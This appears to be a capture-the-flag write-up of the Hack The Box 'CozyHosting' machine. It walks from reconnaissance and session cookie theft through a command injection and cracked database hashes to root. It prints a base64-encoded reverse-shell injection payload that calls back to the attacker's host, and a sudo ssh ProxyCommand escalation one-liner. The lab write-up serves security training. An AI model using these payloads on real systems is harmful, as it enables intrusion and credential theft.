HTB CozyHosting: Formal Writeup

Safwan Luban
8 min readApr 30, 2024

--

Synopsis:

Cozy hosting is a project hosting service web app hosted on nginx 1.18.0. From directory busting a few endpoints were discovered which disclosed a user’s session cookie via replacing the session cookie the attacker logged in the /admin endpoint. And in that page there was a functionality to check for live hosts using SSH which found out to be vulnerable to OS Command Injection. By exploiting that vulnerability the attacker gained the initial foothold and landed as the user apps. From the /apps directory a java archive was found upon decompiling the archive file the postgres user’s password was found which was later used to login into the database, from the database the admin user’s password hash was captured and got cracked via hashcat later. Using the cracked hash it was possible to login on behalf of the user josh via SSH. After landing on the host as the user josh it was found out that the user could run SSH with sudo privilege which lead to sudo abuse and the host got compromised completely.

Active Recon:

From the nmap port scanning 2 open ports were found:

┌──(toothless5143@kali)-[~]
└─$ sudo nmap -Pn -sV -sC --min-rate=5000 -T4 10.10.11.230

Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-14 10:28 +06
Nmap scan report for 10.10.11.230
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4356bca7f2ec46ddc10f83304c2caaa8 (ECDSA)
|_ 256 6f7a6c3fa68de27595d47b71ac4f7e42 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.76 seconds

A SSH and a HTTP service were running on the ports 22, 80. The web server was running on nginx 1.18.0. From the nmap script engine it could be found that the webserver redirects to a VHOST(Virtual Host) cozyhosting.htb.

A virtual host is a method of hosting multiple domain names on a single server by using different configurations for each domain. The virtual host configuration allows the server to distinguish which domain name the incoming request is intended for, allowing it to serve the appropriate content.

The attacker added the VHOST in /etc/hosts to recognize and resolve the domain name to a specific IP address locally. The /etc/hosts file is a local text file on linux that maps domain names to IP addresses before querying DNS servers.

┌──(toothless5143@kali)-[~]
└─$ echo "10.10.11.230 cozyhosting.htb" | sudo tee -a /etc/hosts

After adding the VHOST to /etc/hosts the web app was accessible to the attacker and it was uncovered that the web app was for hosting projects and was offering different plans.

Home page of the Web App

Nothing interesting was found here, then the attacker decided to perform directory busting attack to find hidden directories or files. It involves systematically attempting to access directories by trying different common directory and file names. The attacker used the tool named dirsearch to perform directory busting attack.

┌──(toothless5143@kali)-[~]
└─$ dirsearch -u http://cozyhosting.htb/

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /home/toothless5143/.dirsearch/reports/cozyhosting.htb/-_23-09-14_10-55-34.txt
Error Log: /home/toothless5143/.dirsearch/logs/errors-23-09-14_10-55-34.log
Target: http://cozyhosting.htb/

[10:55:35] Starting:
[10:55:58] 200 - 0B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js
[10:56:05] 400 - 435B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[10:56:08] 400 - 435B - /a%5c.aspx
[10:56:10] 200 - 634B - /actuator
[10:56:11] 200 - 5KB - /actuator/env
[10:56:11] 200 - 15B - /actuator/health
[10:56:11] 200 - 245B - /actuator/sessions
[10:56:11] 200 - 10KB - /actuator/mappings
[10:56:12] 200 - 124KB - /actuator/beans
[10:56:12] 401 - 97B - /admin
[10:56:51] 200 - 0B - /engine/classes/swfupload//swfupload_f9.swf
[10:56:51] 500 - 73B - /error
[10:56:51] 200 - 0B - /engine/classes/swfupload//swfupload.swf
[10:56:52] 200 - 0B - /examples/jsp/%252e%252e/%252e%252e/manager/html/
[10:56:53] 200 - 0B - /extjs/resources//charts.swf
[10:56:53] 400 - 435B - /faces/javax.faces.resource/web.xml?ln=..\\WEB-INF
[10:56:58] 200 - 0B - /html/js/misc/swfupload//swfupload.swf
[10:57:00] 200 - 12KB - /index
[10:57:06] 200 - 4KB - /login
[10:57:06] 200 - 0B - /login.wdm%2e
[10:57:07] 204 - 0B - /logout
[10:57:29] 400 - 435B - /servlet/%C0%AE%C0%AE%C0%AF

Different endpoints were found from the directory brute-forcing upon exploring those endpoints manually the attacker found out that the endpoint /actuator/sessions reveals stored session cookies for users from the endpoint a session cookie for the user kanderson was found.

Session cookie discovery

Vulnerability Analysis & Exploitation:

From the dir busting attack an endpoint named /admin was found which was accessible by replacing current user’s session cookie with the kanderson user’s session cookie. To do so first go to the /admin endpoint, open the inspector tool, click on storage and replace the cookie with the compromised cookie value.

Replacing the cookie value

Upon refreshing the browser tab it was possible to access the admin dashboard without any issues.

Admin dashboard

The attacker discovered an interesting functionality on the dashboard which allows an individual to connect to a remote computer using SSH.

Remote ssh connection feature

Upon inspection it was found out that the connection makes a request based on ssh . After a bit of research the attacker identified that the functionality sends a request to the endpoint /executessh which is vulnerable to OS Command Execution and could lead to exploitation by altering the username parameter’s value with a malicious command injection payload.

The attacker started a nc listener in order to gain a reverse shell:

┌──(toothless5143@kali)-[~]
└─$ rlwrap nc -lvnp 9001
listening on [any] 9001 ...

The attacker prepared the payload provided below to exploit the host, let’s breakdown the command injection’s payload here:

;echo${IFS}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjIvOTAwMSAwPiYx"|base64${IFS}-d|bash;

Here the semicolon (;) is used as a command separator or delimiter. It allows you to execute multiple commands in a single line, sequentially. Then ($IFS) is a Linux Environment Variable and its default value is a space and a tab, which works between command arguments. So, if we use ${IFS} where the spaces should be, the variable should be automatically replaced with a space. Then the YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjIvOTAwMSAwPiYx” contains our reverse connection, you can use https://www.revshells.com/ to get your own reverse shell payload, and then it pipes the reverse connection payload to base64 command to decode our reverse shell payload, -d switch is used to indicate the functionality decode.

The attacker URL encoded https://www.urlencoder.org/ the whole payload as the web application doesn’t accept any value containing a space, some web frameworks use double URL encoding to ensure that special characters, reserved characters, and non-alphanumeric characters can be transmitted and processed correctly within a URL.

Upon executing the URL encoded payload, the attacker successfully gained RCE over the host.

Executing the payload to gain RCE
┌──(toothless5143@kali)-[~]
└─$ rlwrap nc -lvnp 9001

listening on [any] 9001 ...
connect to [10.10.14.122] from (UNKNOWN) [10.10.11.230] 37266
bash: cannot set terminal process group (1065): Inappropriate ioctl for device
bash: no job control in this shell

app@cozyhosting:/app$

Post Exploitation:

After gaining the initial foothold the attacker started post exploitation enumeration and found an interesting java archive file in the /app directory named cloudhosting-0.0.1.jar. The attacker decided to transfer the file on the attacker’s host for further analysis using the python’s http.server module. The http.server module is a built-in module in Python’s standard library that provides a simple HTTP server implementation.

app@cozyhosting:/app$ ls
cloudhosting-0.0.1.jar

# Starting the python web server
app@cozyhosting:/app$ python3 -m http.server 8000

Then the attacker downloaded the file from the target on their host:

Downloading the jar file

The attacker used the tool jd-gui to view the content’s inside the archive. JD-GUI (Java Decompiler GUI) is a graphical user interface tool used for decompiling Java bytecode (compiled Java classes) into readable Java source code. It allows developers to reverse-engineer compiled Java code and gain insight into its implementation details.

┌──(toothless5143@kali)-[~]
└─$ jd-gui /tmp/cloudhosting-0.0.1.jar

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

Lateral Movement:

Upon de compiling the file the attacker found a password of the account postgres from the below location, which is the default superuser account created during the installation of PostgreSQL. This account is typically named “postgres” and has elevated privileges and administrative access to the PostgreSQL database server.

Discovering credentials from the jar file

Then the attacker connected to the PostgreSQL database server and enumerated the contents in it.

app@cozyhosting:/app$ psql -h 127.0.0.1 -U postgres
Password for user postgres: <REDACTED>

> \c cozyhosting
You are now connected to database "cozyhosting" as user "postgres".

> \d
List of relations
Schema | Name | Type | Owner
--------+--------------+----------+----------
public | hosts | table | postgres
public | hosts_id_seq | sequence | postgres
public | users | table | postgres
(3 rows)

The users table seemed interesting and the attacker found 2 user’s password hashes from the following table.

> select * from users;

name | password | role
-----------+----------+-------
kanderson | <REDACTED> | User
admin | <REDACTED> | Admin
(2 rows)

The attacker used hashcat to crack the found admin hash it was a blowfish type hash.

┌──(toothless5143@kali)-[~]
└─$ hashcat -a 0 -m 3200 /tmp/hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 0 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

$2a$10<REDACTED>H9kVO8dm:<REDACTED>

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib...kVO8dm
Time.Started.....: Mon Sep 18 23:40:03 2023 (1 min, 5 secs)
Time.Estimated...: Mon Sep 18 23:41:08 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)

While exploring the home file the attacker found a user named josh, the attacker tried to login as josh using SSH using the cracked password and it worked successfully. Upon logging in as the user josh the attacker got the user flag from josh’s home directory.

┌──(toothless5143@kali)-[~]
└─$ ssh josh@10.10.11.230

josh@10.10.11.230's password: <REDACTED>
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-82-generic x86_64)

josh@cozyhosting:~$

Privilege Escalation:

Upon inspecting sudo rights it was found out that the user could run ssh as a superuser, it means that Josh has the ability to execute the ssh command with elevated privileges, typically as the root user or another superuser account. The /etc/sudoers file contains the rules and settings that define which users or groups have sudo privileges and what commands they are allowed to run with elevated privileges.

An entry from the GTFObins https://gtfobins.github.io/gtfobins/ssh/#sudo was found which helped the attacker to abuse the sudo rights and elevate the privilege to the root user.

josh@cozyhosting:~$ sudo -l

Matching Defaults entries for josh on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
(root) /usr/bin/ssh *

Elevating privilege:

josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

# whoami
root

The host got fully compromised by the attacker which lead to gaining the final flag.

Signing out,
- Toothless

--

--

Safwan Luban
Safwan Luban

Written by Safwan Luban

Ethical hacker, Independent Security Researcher

No responses yet